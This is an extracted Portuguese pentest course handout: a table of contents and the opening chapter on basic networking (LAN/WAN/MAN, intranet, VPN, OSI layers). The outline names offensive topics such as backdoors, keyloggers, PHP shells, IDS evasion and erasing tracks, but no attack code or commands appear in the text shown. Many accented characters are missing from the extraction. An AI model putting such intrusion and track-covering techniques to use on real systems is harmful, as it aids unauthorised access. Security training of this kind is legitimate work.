Você está na página 1de 184

PenTest - Segurana Hacker

www.linuxforce.com.br

Contedo
1 Conceitos Bsicos de Redes de Computadores 1.1 Denies Gerais . . . . . . . . . . . . . . . . . . . . . . . 1.1.1 Classicao segundo a extenso geogrca . . . . 1.1.1.1 Rede Local (LAN) . . . . . . . . . . . . . . 1.1.1.2 Rede de Longa Distncia (WAN) . . . . . . 1.1.1.3 Rede Metropolitana (MAN) . . . . . . . . . 1.1.2 Conceitos importantes . . . . . . . . . . . . . . . . . 1.1.2.1 Internet . . . . . . . . . . . . . . . . . . . . 1.1.2.2 Intranet . . . . . . . . . . . . . . . . . . . . 1.1.2.3 Extranet . . . . . . . . . . . . . . . . . . . 1.1.2.4 VPN (Rede Privada Virtual) . . . . . . . . . 1.2 Modelo de Referncia OSI . . . . . . . . . . . . . . . . . . . 1.2.1 Camada 1 Fsica . . . . . . . . . . . . . . . . . . . 1.2.2 Camada 2 Enlace . . . . . . . . . . . . . . . . . . 1.2.3 Camada 3 Rede . . . . . . . . . . . . . . . . . . . 1.2.4 Camada 4 Transporte . . . . . . . . . . . . . . . . 1.2.5 Camada 5 Sesso . . . . . . . . . . . . . . . . . . 1.2.6 Camada 6 Apresentao . . . . . . . . . . . . . . 1.2.7 Camada 7 - Aplicao . . . . . . . . . . . . . . . . . 1.3 Arquitetura TCP/IP . . . . . . . . . . . . . . . . . . . . . . . 1.3.1 Camada Fisica e de Enlace . . . . . . . . . . . . . . 1.3.2 Camada de Rede . . . . . . . . . . . . . . . . . . . 1.3.3 Camada de Transporte . . . . . . . . . . . . . . . . 1.3.4 Camada de Aplicao . . . . . . . . . . . . . . . . . 1.4 Endereamento IPv4 . . . . . . . . . . . . . . . . . . . . . . 1.4.1 Mscara de rede . . . . . . . . . . . . . . . . . . . . 1.5 IPv6 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1.5.1 Endereamento . . . . . . . . . . . . . . . . . . . . 1.5.1.1 Representao dos endereos . . . . . . . 1.5.1.2 Tipos de endereos IPv6 . . . . . . . . . . 1.5.1.2.1 Endereos Unicast . . . . . . . . 1.5.1.2.1.1 Identicadores de interface 1.5.1.2.1.2 Endereos especiais . . . . 1.5.1.2.2 Endereos Anycast . . . . . . . . 1.5.1.2.3 Endereos Multicast . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1 1 1 2 2 3 3 4 4 4 5 6 6 7 7 8 8 8 9 9 10 10 11 12 13 19 20 21 22 23 24 25 26 27

Linux Force www.linuxforce.com.br

Contedo

2 Aprendendo GNU/Linux 2.1 Comandos e Shell . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.1.1 O comando ls . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.1.2 Criao, movimentao, cpia e remoo de arquivos e diretrios . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.1.2.1 Criar arquivo . . . . . . . . . . . . . . . . . . . . . . . 2.1.2.2 Curingas . . . . . . . . . . . . . . . . . . . . . . . . . 2.1.2.3 Criando diretrios . . . . . . . . . . . . . . . . . . . . 2.1.2.4 Removendo arquivos/diretrios . . . . . . . . . . . . 2.1.2.5 Copiar arquivos/diretrios . . . . . . . . . . . . . . . . 2.1.2.6 Mover ou renomear arquivos/diretrios . . . . . . . . 2.2 FHS, Hierarquia dos Diretrios . . . . . . . . . . . . . . . . . . . . . . 2.3 Estrutura de Diretrios GNU/Linux . . . . . . . . . . . . . . . . . . . . 2.3.1 Diretrio / . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.2 DIRETRIO /bin . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.3 Diretrio /boot . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.4 Diretrio /dev . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.5 Diretrio /etc . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.6 Diretrio /lib . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.7 Diretrio /media . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.8 Diretrio /mnt . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.9 Diretrio /opt . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.10 Diretrio /sbin . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.11 Diretrio srv . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.12 Diretrio /tmp . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.13 Diretrio /usr . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.14 Diretrio /var . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.15 Diretrio /proc . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.16 Diretrio /sys . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.17 Diretrios /home e /root . . . . . . . . . . . . . . . . . . . . . . 2.3.18 Localizao no sistema: nd . . . . . . . . . . . . . . . . . . . 2.3.19 xargs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 Introduo Segurana da Informao 3.1 Objetivos . . . . . . . . . . . . . . . 3.2 O que segurana? . . . . . . . . . 3.3 Segurana da Informao . . . . . . 3.4 Padres/Normas . . . . . . . . . . . 3.4.1 ISO 27001 . . . . . . . . . . 3.4.2 ISO 27002 . . . . . . . . . . 3.4.3 Basileia II . . . . . . . . . . . 3.4.4 PCI-DSS . . . . . . . . . . . 3.4.5 ITIL . . . . . . . . . . . . . . 3.4.6 COBIT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

32 . 32 . 32 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 34 35 37 38 39 40 41 42 42 43 43 44 45 49 49 50 50 50 51 51 52 53 53 55 55 56 59 61 61 61 63 63 63 64 64 64 64 64

PenTest - Segurana Hacker

Pgina ii

Linux Force www.linuxforce.com.br

Contedo

3.5 3.6

3.7 3.8

3.9 3.10

3.4.7 NIST 800 Series . . . . . . . . . . . . . Por que precisamos de segurana? . . . . . . Princpios bsicos da segurana da informao 3.6.1 Condencialidade . . . . . . . . . . . . 3.6.2 Integridade . . . . . . . . . . . . . . . . 3.6.3 Disponibilidade . . . . . . . . . . . . . . 3.6.4 Autenticidade . . . . . . . . . . . . . . . 3.6.5 Legalidade . . . . . . . . . . . . . . . . 3.6.6 Terminologias de segurana . . . . . . Ameaas e ataques . . . . . . . . . . . . . . . Mecanismos de segurana . . . . . . . . . . . 3.8.1 Mecanismos fsicos . . . . . . . . . . . 3.8.2 Mecanismos lgicos . . . . . . . . . . . Servios de segurana . . . . . . . . . . . . . . Certicaes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

65 65 66 66 66 67 67 67 68 68 70 70 71 71 72 74 74 74 75 75 75 75 76 76 76 76 77 77 78 79 79 80 80 80 81 82 84 85 85 85 85 86

4 Introduo ao Teste de Invaso e tica Hacker 4.1 Objetivos . . . . . . . . . . . . . . . . . . . . 4.2 Viso geral sobre o Pentest . . . . . . . . . . 4.3 Tipos de Pentest . . . . . . . . . . . . . . . . 4.3.1 Blind . . . . . . . . . . . . . . . . . . . 4.3.2 Double blind . . . . . . . . . . . . . . 4.3.3 Gray Box . . . . . . . . . . . . . . . . 4.3.4 Double Gray Box . . . . . . . . . . . . 4.3.5 Tandem . . . . . . . . . . . . . . . . . 4.3.6 Reversal . . . . . . . . . . . . . . . . . 4.4 As fases de um ataque . . . . . . . . . . . . . 4.4.1 Levantamento de Informaes . . . . 4.4.2 Varredura . . . . . . . . . . . . . . . . 4.4.3 Ganhando acesso . . . . . . . . . . . 4.4.4 Mantendo acesso . . . . . . . . . . . 4.4.5 Limpando rastros . . . . . . . . . . . . 4.5 Categorias de ataques . . . . . . . . . . . . . 4.5.1 Server Side Attacks . . . . . . . . . . 4.5.2 Client Side Attacks . . . . . . . . . . . 4.6 Metodologias existentes . . . . . . . . . . . . 4.7 Como conduzir um teste de invaso . . . . . 4.8 Aspectos Legais . . . . . . . . . . . . . . . . 5 Google Hacking 5.1 Google Hacking . . . . . . . . . . 5.2 Comandos Avanados do Google 5.2.1 intitle, allintitle . . . . . . . . 5.2.2 inurl, allinurl . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

PenTest - Segurana Hacker

Pgina iii

Linux Force www.linuxforce.com.br

Contedo

5.2.3 letype . . . . . . . . . 5.2.4 allintext . . . . . . . . . 5.2.5 site . . . . . . . . . . . . 5.2.6 link . . . . . . . . . . . . 5.2.7 inanchor . . . . . . . . . 5.2.8 daterange . . . . . . . . 5.2.9 cache . . . . . . . . . . 5.2.10 info . . . . . . . . . . . 5.2.11 related . . . . . . . . . . 5.3 Google Hacking Database . . . 5.4 Levantamento de informaes

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . .

86 86 87 87 87 88 88 88 89 89 89

6 Levantamento de Informaes 6.1 Objetivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.2 Footprint . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.3 Por onde comear? . . . . . . . . . . . . . . . . . . . . . . 6.4 Consulta a informaes de domnio . . . . . . . . . . . . . 6.5 Consultando servidores DNS . . . . . . . . . . . . . . . . . 6.6 Consultando websites antigos . . . . . . . . . . . . . . . . . 6.7 Webspiders . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.8 Netcraft . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.9 Buscando relacionamentos . . . . . . . . . . . . . . . . . . 6.10 Rastreamento de E-mails . . . . . . . . . . . . . . . . . . . 6.11 Fingerprint . . . . . . . . . . . . . . . . . . . . . . . . . . . 6.12 Fingerprint passivo . . . . . . . . . . . . . . . . . . . . . . . 6.13 Fingerprint ativo . . . . . . . . . . . . . . . . . . . . . . . . 6.13.1 Descobrindo um Sistema Operacional usando ICMP 6.13.2 Calculando HOP . . . . . . . . . . . . . . . . . . . . 6.13.3 Fingerprint atravs do xprobe2 . . . . . . . . . . . . 6.14 Contramedidas . . . . . . . . . . . . . . . . . . . . . . . . . 7 Engenharia Social 7.1 O que Engenharia Social? . . . . 7.2 Tipos de Engenharia Social . . . . 7.2.1 Baseada em pessoas . . . 7.2.2 Baseada em computadores 7.3 Formas de ataque . . . . . . . . . 7.3.1 Insider Attacks . . . . . . . 7.3.2 Roubo de identidade . . . . 7.3.3 Phishing Scam . . . . . . . 7.3.4 URL Obfuscation . . . . . . 7.3.5 Dumpster Diving . . . . . . 7.3.6 Persuaso . . . . . . . . . 7.4 Engenharia Social Reversa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

91 . 91 . 91 . 92 . 93 . 94 . 95 . 96 . 97 . 97 . 98 . 99 . 100 . 101 . 101 . 102 . 102 . 103 104 . 104 . 104 . 104 . 105 . 105 . 105 . 105 . 106 . 106 . 106 . 106 . 107

PenTest - Segurana Hacker

Pgina iv

Linux Force www.linuxforce.com.br

Contedo

8 Varreduras ativas, passivas e furtivas de rede 8.1 Varreduras Internet Control Messages Protocol (ICMP) . . . . 8.2 Varreduras TCP . . . . . . . . . . . . . . . . . . . . . . . . . . 8.3 NMAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.4 Mtodos de Varredura . . . . . . . . . . . . . . . . . . . . . . . 8.4.1 -sP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.4.2 -sV . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.4.3 -sS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.4.4 -sT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.4.5 -sU . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.4.6 -sF, -sX, -sN . . . . . . . . . . . . . . . . . . . . . . . . 8.4.7 -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane> 8.5 Anonymizer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8.5.1 Instalando e testando o TOR no BackTrack . . . . . . . 9 Enumerao de informaes e servios 9.1 Enumerao . . . . . . . . . . . . . . 9.2 Aquisio de banners . . . . . . . . . 9.2.1 Tcnicas clssicas . . . . . . . 9.2.2 Ferramentas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

108 . 108 . 109 . 110 . 111 . 111 . 111 . 111 . 112 . 112 . 112 . 113 . 113 . 114 117 . 117 . 117 . 118 . 118 120 . 120 . 120 . 121 . 122 . 123 . 123 . 124 . 124 . 125 . 125 . 126 . 127 . 127 129 . 129 . 130 . 130 . 130 . 131 . 131

10 Trojans, Backdoors, Vrus, Rootkits e Worms 10.1 Backdoor . . . . . . . . . . . . . . . . . . . . . . 10.2 Cavalo de Tria ou Trojan Horse . . . . . . . . . 10.3 Rootkits . . . . . . . . . . . . . . . . . . . . . . . 10.4 Vrus e worms . . . . . . . . . . . . . . . . . . . 10.5 Bots e Botnets . . . . . . . . . . . . . . . . . . . 10.5.1 Botnets . . . . . . . . . . . . . . . . . . . 10.5.2 Como o invasor se comunica com o Bot? 10.5.3 Esquema simplicado de uma botnet . . 10.6 Netcat . . . . . . . . . . . . . . . . . . . . . . . . 10.6.1 Opes do Netcat . . . . . . . . . . . . . 10.6.2 Netcat - Utilizao . . . . . . . . . . . . . 10.6.3 Encadeando Netcats . . . . . . . . . . . . 10.7 Keylogger . . . . . . . . . . . . . . . . . . . . . . 11 Ignorando Protees 11.1 Evaso de Firewall/IDS com Nmap 11.2 Firewall Tester . . . . . . . . . . . 11.2.1 Caractersticas: . . . . . . . 11.2.2 Utilizao: . . . . . . . . . . 11.2.3 Sintaxe: . . . . . . . . . . . 11.3 Detectando Honeypots . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

PenTest - Segurana Hacker

Pgina v

Linux Force www.linuxforce.com.br

Contedo

12 Tecnicas de Forca Bruta 12.1 Brute Force . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12.2 Wordlist . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12.2.1 Gerao de Wordlist . . . . . . . . . . . . . . . . . . . 12.3 John The Ripper . . . . . . . . . . . . . . . . . . . . . . . . . 12.3.1 Modos . . . . . . . . . . . . . . . . . . . . . . . . . . . 12.3.2 Linha de Comando . . . . . . . . . . . . . . . . . . . . 12.3.3 Usando o Jhon the Ripper . . . . . . . . . . . . . . . . 12.4 THC-Hydra . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12.4.1 Usando o HydraGTK . . . . . . . . . . . . . . . . . . . 12.4.2 Hydra no terminal . . . . . . . . . . . . . . . . . . . . 12.5 Rainbow Crack . . . . . . . . . . . . . . . . . . . . . . . . . . 12.6 Utilizando o Rainbow Crack para criao de Rainbow Tables 12.6.1 Introduo . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

. . . . . . . . . . . . .

133 . 133 . 133 . 133 . 135 . 136 . 138 . 140 . 141 . 141 . 141 . 142 . 143 . 143 149 . 149 . 149 . 150 . 152 . 152 . 153 . 154 . 154 . 154 . 155 . 156 . 157 . 157 . 158 . 159 . 160 . 160 . 161 . 161 . 162 . 163 . 163 . 164 . 164 . 165 . 165 . 165

13 Vulnerabilidades em aplicaes web 13.1 Entendendo a aplicao web . . . . . . . . . . . . . . . . . . . . . . . 13.2 Por que to perigoso? . . . . . . . . . . . . . . . . . . . . . . . . . . 13.3 Principais Classes de Vulnerabilidades . . . . . . . . . . . . . . . . . . 13.4 A1 CROSS SITE SCRIPTING (XSS) . . . . . . . . . . . . . . . . . . 13.4.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.4.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.5 A2 FALHAS DE INJEO . . . . . . . . . . . . . . . . . . . . . . . . 13.5.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.5.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.6 A3 EXECUO MALICIOSA DE ARQUIVO . . . . . . . . . . . . . . 13.6.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.6.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.6.2.1 Shell PHP . . . . . . . . . . . . . . . . . . . . . . . . 13.7 A4 REFERNCIA INSEGURA DIRETA A OBJETO . . . . . . . . . . 13.7.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.7.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.8 A5 CROSS SITE REQUEST FORGERY (CSRF) . . . . . . . . . . . 13.8.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.8.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.9 A6 VAZAMENTO DE INFORMAES E TRATAMENTO DE ERROS INAPROPRIADO . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.9.1 VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.9.2 EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.10 A7 FURO DE AUTENTICAO E GERNCIA DE SESSO . . . . . 13.10.1VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . . 13.10.2EXPLORANDO . . . . . . . . . . . . . . . . . . . . . . . . . . . 13.11 A8 ARMAZENAMENTO CRIPTOGRTAFICO INSEGURO . . . . . . 13.11.1VULNERABILIDADE . . . . . . . . . . . . . . . . . . . . . . . .

PenTest - Segurana Hacker

Pgina vi

Linux Force www.linuxforce.com.br

Contedo

13.11.2EXPLORANDO . . . . . . . . . . . . . . . . 13.12 A9 COMUNICAES INSEGURAS . . . . . . . 13.12.1VULNERABILIDADE . . . . . . . . . . . . . 13.12.2EXPLORANDO . . . . . . . . . . . . . . . . 13.13 A10 FALHA AO RESTRINGIR ACESSO URLS 13.13.1VULNERABILIDADE . . . . . . . . . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. . . . . .

. 166 . 166 . 167 . 168 . 168 . 168 170 . 170 . 171 . 171 172 . 172 . 172 . 173 . 174 175

14 Elevao de Privilgios Locais 14.1 O que escalada de privilgios? . . . . . . . . . . . . . . . . . . . . . 14.2 Possveis alvos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14.3 Laboratorio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 Apagando Rastros 15.1 Por que encobrir rastros? 15.2 O que encobrir? . . . . . 15.3 Tcnicas . . . . . . . . . 15.4 Ferramentas . . . . . . . 16 Referncias Bibliogrcas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

PenTest - Segurana Hacker

Pgina vii

1 Conceitos Bsicos de Redes de Computadores


1.1 Denies Gerais
Uma Rede de Computadores : um conjunto de dispositivos processadores capazes de trocar informaes e compartilhar recursos, interligados por um sistema de comunicao. Exemplos de dispositivos: Celulares Computadores Notebooks Tablets Televisores Video Games e qualquer outro equipamento com capacidade de interconexo

1.1.1 Classicao segundo a extenso geogrca


1.1.1.1 Rede Local (LAN) Em computao, rede de rea local (ou LAN, acrnimo de local area network), ou ainda rede local, uma rede de computadores utilizada na interconexo de equi-

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

pamentos processadores com a nalidade de troca de dados. Um conceito mais preciso seria: um conjunto de hardware e software que permite a computadores individuais estabelecerem comunicao entre si, trocando e compartilhando informaes e recursos. Tais redes so denominadas locais por cobrirem apenas uma rea limitada (10 km no mximo, alm do que passam a ser denominadas MANs). Redes em reas maiores necessitam de tecnologias mais sosticadas, visto que, sicamente, quanto maior a distncia de um n da rede ao outro, maior a taxa de erros que ocorrero devido degradao do sinal. As LANs so utilizadas para conectar estaes, servidores, perifricos e outros dispositivos que possuam capacidade de processamento em uma casa, escritrio, escola e edifcios prximos.

1.1.1.2 Rede de Longa Distncia (WAN) A Wide Area Network (WAN), Rede de rea alargada ou Rede de longa distncia, tambm conhecida como Rede geogracamente distribuda, uma rede de computadores que abrange uma grande rea geogrca, com frequncia um pas ou continente.

1.1.1.3 Rede Metropolitana (MAN) Rede de rea Metropolitana (Metropolitan Area Network), tambm conhecida como MAN, o nome dado s redes que ocupam o permetro de uma cidade. So mais rpidas e permitem que empresas com liais em bairros diferentes se conectem entre si. A partir do momento que a internet atraiu uma audincia de massa, as operadoras de redes de TV a cabo, comearam a perceber que, com algumas mudanas no sistema, elas poderiam oferecer servios da Internet de mo dupla em partes no utilizadas do espectro. A televiso a cabo no a nica MAN. Os desenvolvimentos mais recentes para acesso internet de alta velocidade sem o resultaram em outra MAN, que foi padronizada como IEEE 802.16.

PenTest - Segurana Hacker

Pgina 2

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

1.1.2 Conceitos importantes

1.1.2.1 Internet A Internet o maior conglomerado de redes de comunicaes em escala mundial e dispe milhes de computadores interligados pelo protocolo de comunicao TCP/IP que permite o acesso a informaes e todo tipo de transferncia de dados. Ela carrega uma ampla variedade de recursos e servios, incluindo os documentos interligados por meio de hiperligaes da World Wide Web (Rede de Alcance Mundial), e a infraestrutura para suportar correio eletrnico e servios como comunicao instantnea e compartilhamento de arquivos. De acordo com a Internet World Stats, 1,96 bilho de pessoas tinham acesso Internet em junho de 2010, o que representa 28,7% da populao mundial. Segundo a pesquisa, a Europa detinha quase 420 milhes de usurios, mais da metade da populao. Mais de 60% da populao da Oceania tem o acesso Internet, mas esse percentual reduzido para 6,8% na frica. Na Amrica Latina e Caribe, um pouco mais de 200 milhes de pessoas tm acesso Internet (de acordo com dados de junho de 2010), sendo que quase 76 milhes so brasileiros.

PenTest - Segurana Hacker

Pgina 3

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

1.1.2.2 Intranet A intranet uma rede de computadores privada que assenta sobre a suite de protocolos da Internet, porm, de uso exclusivo de um determinado local, como, por exemplo, a rede de uma empresa, que s pode ser acessada por seus usurios internos. Pelo fato de sua aplicao, todos os conceitos TCP/IP se empregam intranet, como, por exemplo, o paradigma de cliente-servidor. Dentro de uma empresa, todos os departamentos possuem alguma informao que pode ser trocada com os demais setores, podendo cada seo ter uma forma direta de se comunicar com as demais, o que se assemelha muito com a conexo LAN, que, porm, no emprega restries de acesso. Diferentemente do que ocorre na intranet, na extranet o acesso internet se d em qualquer lugar do mundo. O termo foi utilizado pela primeira vez em 19 de Abril de 1995, num artigo de autoria tcnica de Stephen Lawton, na Digital News & Reviews.

1.1.2.3 Extranet A Extranet de uma empresa a poro da rede de computadores que faz uso da Internet para partilhar com segurana parte do seu sistema de informao. Tomado o termo em seu sentido mais amplo, o conceito confunde-se com Intranet. Uma Extranet tambm pode ser vista como uma parte da empresa que estendida a usurios externos ("rede extra-empresa"), tais como representantes e clientes. Outro uso comum do termo Extranet ocorre na designao da "parte privada"de um site, onde somente "usurios registrados"podem navegar, previamente autenticados por sua senha (login).

1.1.2.4 VPN (Rede Privada Virtual) Rede Privada Virtual uma rede de comunicaes privada normalmente utilizada por uma empresa ou um conjunto de empresas e/ou instituies, construda em cima de uma rede de comunicaes pblica (como por exemplo, a Internet). O trfego de

PenTest - Segurana Hacker

Pgina 4

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

dados levado pela rede pblica utilizando protocolos padro, no necessariamente seguros. VPNs seguras usam protocolos de criptograa por tunelamento que fornecem a condencialidade, autenticao e integridade necessrias para garantir a privacidade das comunicaes requeridas. Quando adequadamente implementados, estes protocolos podem assegurar comunicaes seguras atravs de redes inseguras. Deve ser notado que a escolha, implementao e uso destes protocolos no algo trivial, e vrias solues de VPN inseguras so distribudas no mercado. Adverte-se os usurios para que investiguem com cuidado os produtos que fornecem VPNs. Por si s, o rtulo VPN apenas uma ferramenta de marketing.

Os termos: LAN, WAN, MAN, internet, intranet, extranet e VPN deste texto foram extraidos do site http://pt.wikipedia.org

1.2 Modelo de Referncia OSI


O modelo OSI (Open Systems Interconnection) foi desenvolvido pela ISO (International Standard Organization) com o objetivo de criar uma estrutura para denio de padres para a conectividade e interoperabilidade de sistemas heterogneos. Dene

PenTest - Segurana Hacker

Pgina 5

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

um conjunto de 7 camadas (layers) e os servios atribudos a cada uma. O modelo OSI uma referncia e no uma implementao.

1.2.1 Camada 1 Fsica


Transmisso transparente de seqncias de bits pelo meio fsico. Contm padres mecnicos, funcionais, eltricos e procedimentos para acesso a esse meio fsico. Especica os meios de transmisso (satlite, coaxial, radiotransmisso, par metlico, bra ptica, etc.). Tipos de conexo: Ponto-a-ponto ou multiponto Full ou half duplex Serial ou paralela

1.2.2 Camada 2 Enlace


Esconde caractersticas fsicas do meio de transmisso. Transforma os bits em quadros (frames). Prov meio de transmisso convel entre dois sistemas adjacentes. Funes mais comuns: Delimitao de quadro Deteco de erros Seqencializao dos dados Controle de uxo de quadro

PenTest - Segurana Hacker

Pgina 6

Linux Force www.linuxforce.com.br

Conceitos Bsicos de Redes de Computadores

Para redes locais dividido em dois subnveis: LLC (Logical Link Control) e MAC (Media Access Control).

1.2.3 Camada 3 Rede


Prov canal de comunicao independente do meio. Transmite pacotes de dados atravs da rede. Os pacotes podem ser independentes (datagramas) ou percorrer uma conexo prestabelecida (circuito virtual). Funes caractersticas: Traduo de endereos lgicos em endereos fsicos Roteamento No propaga broadcast de rede No possuem garantia de entrega dos pacotes

1.2.4 Camada 4 Transporte


Nesta camada temos o conceito de comunicao m-a-m. Possui mecanismos que fornecem uma comunicao convel e transparente entre dois computadores, isto , assegura que todos os pacotes cheguem corretamente ao destino e na ordem correta. Funes: Controle de uxo de segmentos Correo de erros Multiplexao

PenTest - Segurana Hacker

Pgina 7

